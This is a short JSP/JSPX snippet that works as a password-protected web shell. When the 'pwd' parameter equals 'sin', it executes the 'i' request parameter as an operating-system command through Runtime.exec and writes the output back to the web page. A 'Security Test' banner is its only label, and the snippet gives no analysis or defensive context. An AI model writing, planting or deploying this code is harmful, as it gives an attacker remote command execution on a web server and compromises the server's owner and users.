jsp jspx out.println("Security Test"); if("sin".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(""); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(""); }